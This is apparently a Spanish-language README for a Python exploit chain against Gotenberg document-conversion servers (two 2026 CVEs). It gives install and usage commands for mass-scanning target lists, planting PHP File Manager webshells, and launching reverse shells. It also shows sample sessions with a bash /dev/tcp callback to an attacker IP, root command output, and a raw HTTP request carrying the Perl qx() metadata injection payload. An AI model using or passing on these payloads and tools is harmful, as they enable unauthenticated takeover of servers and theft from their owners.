Cadena de exploits en Python para Gotenberg CVE-2026-42589 y CVE-2026-40281: detecta instancias vulnerables, inyecta cargas útiles de metadatos y despliega reverse shells o webshells.
Gotenberg ≤ 8.30.1 — Ejecución remota de código sin autenticación
Exploit encadenado con reverse shell + webshell de File Manager + modo interactivo seguro para ciegos
Gotenberg es una API sin estado impulsada por Docker que convierte documentos (HTML, Markdown, Office...) en PDF. Las versiones ≤ 8.30.1 son vulnerables a dos vulnerabilidades críticas de RCE sin autenticación en el endpoint /forms/pdfengines/metadata/write.
Este repositorio incluye dos herramientas que encadenan ambas CVE en un único flujo de explotación:
| Herramienta | Propósito |
|---|---|
gotenberg_rce.py | Detección + shell interactiva + despliegue de webshell de File Manager |
auto_revshell.py | Detección automática de IP → iniciar listener → lanzar payloads de reverse shell → sesión interactiva |
| Campo | Valor |
|---|---|
| Tipo | Inyección de comandos del SO (RCE) |
| CVSS | 9.8 — Crítica |
| Vector | POST /forms/pdfengines/metadata/write |
| Inyección | Claves de metadatos JSON |
| Causa raíz | system() mediante la configuración de ExifTool |
| Campo | Valor |
|---|---|
| Tipo | Inyección de comandos del sistema operativo (RCE) |
| CVSS | 10.0 — Crítica |
| Vector | POST /forms/pdfengines/metadata/write |
| Inyección | Valores de metadatos JSON |
| Causa raíz | qx() (Perl) mediante ExifTool |
| Versión | 42589 | 40281 |
|---|---|---|
< 8.29.1 | ✅ | ✅ |
8.29.1 | ✅ | ✅ |
8.30.0 | ✅ | ✅ |
8.30.1 | ✅ | ✅ |
≥ 8.31.0 | ❌ | ❌ |
40281 como 42589!upload, !shell, !check, !clear)HTTP 500requests, urllib3git clone https://github.com/HackfutSecRoot/-GOTENBERG-RCE-CHAIN.git
cd -GOTENBERG-RCE-CHAIN
python3 -m venv venv
source venv/bin/activate # Linux/Mac
# venv\Scripts\activate # Windows
pip install -r requirements.txt
requirements.txtrequests>=2.28.0
urllib3>=1.26.0
auto_revshell.py)python auto_revshell.py -u http://target:3000
Detección automática de tu IP pública → vinculación del listener → explotación del objetivo → acceso a una shell.
python gotenberg_rce.py -u http://target:3000 # check only
python gotenberg_rce.py -u http://target:3000 -i # interactive (blind)
python gotenberg_rce.py -u http://target:3000 --rev # auto reverse shell (auto IP)
python gotenberg_rce.py -u http://target:3000 --rev --lport 4444 # auto with custom port
python gotenberg_rce.py -u http://target:3000 --rev --lhost 1.2.3.4 --lport 4444
python gotenberg_rce.py -f targets.txt --rev --lport 4444 -t 20 -o results.txt
| Flag | Descripción | Predeterminado |
|---|---|---|
-u, --url | URL objetivo (obligatorio) | — |
--lhost | Tu IP pública | detectada automáticamente |
--lport | Puerto del listener | 4444 |
--wait | Segundos de espera para el callback | 25 |
--timeout | Tiempo de espera por solicitud | 60 |
--no-banner | Omitir el banner | false |
gotenberg_rce.py)python gotenberg_rce.py -u http://target:3000 -i
Te sumerge en un pseudo-shell interactivo:
rOOt@HFT:~$ id
uid=0(root) gid=0(root) groups=0(root)
rOOt@HFT:~$ uname -a
Linux gotenberg 5.10.0-26-amd64 #1 SMP Debian 5.10.197-1 x86_64 GNU/Linux
rOOt@HFT:~$ !shell
[*] Shell URL: http://target:3000/var/www/html/fm_abc123.php
rOOt@HFT:~$ exit
[*] Exiting interactive shell.
| Flag | Descripción |
|---|---|
-u, --url | Objetivo único |
-f, --file | Archivo con objetivos (uno por línea) |
-t, --threads | Hilos para el escaneo masivo |
--check-only | Solo detectar, sin explotación |
--shell | Desplegar webshell de File Manager |
-i, --interactive | Entrar en la shell interactiva |
-o, --output | Guardar resultados |
| Comando | Acción |
|---|---|
help, ? | Mostrar ayuda |
exit, quit, q | Salir |
!upload | Volver a desplegar la shell de File Manager |
!shell | Mostrar la URL de la shell |
!check | Volver a comprobar la vulnerabilidad |
!clear | Limpiar la pantalla |
python gotenberg_rce.py -f targets.txt --shell -t 20 -o results.txt
targets.txt:
# one URL per line
http://1.2.3.4:3000
https://gotenberg.internal:3000
http://5.6.7.8:3000
[*] Detecting public IP...
[+] Public IP: 1.2.3.4
[+] Listener bound on 0.0.0.0:4444
[*] Sending reverse shell to 1.2.3.4:4444...
[1/7] bash -c 'bash -i >& /dev/tcp/1.2.3.4/4444 0>&1'...
[+] CALLBACK RECEIVED from 134.199.148.233
[*] Entering interactive shell. Type 'exit' to quit.
# id
uid=0(root) gid=0(root) groups=0(root)
# hostname
gotenberg
La herramienta envía un payload controlado a /forms/pdfengines/metadata/write:
POST /forms/pdfengines/metadata/write HTTP/1.1
Content-Type: multipart/form-data; boundary=...
--BOUNDARY
Content-Disposition: form-data; name="files"; filename="test.pdf"
Content-Type: application/pdf
%PDF-1.4
...
--BOUNDARY
Content-Disposition: form-data; name="metadata"
{"Title":"test\n-Title<${PDFVersion;$_=qx("echo MARKER")}>"}
--BOUNDARY--
Señales analizadas: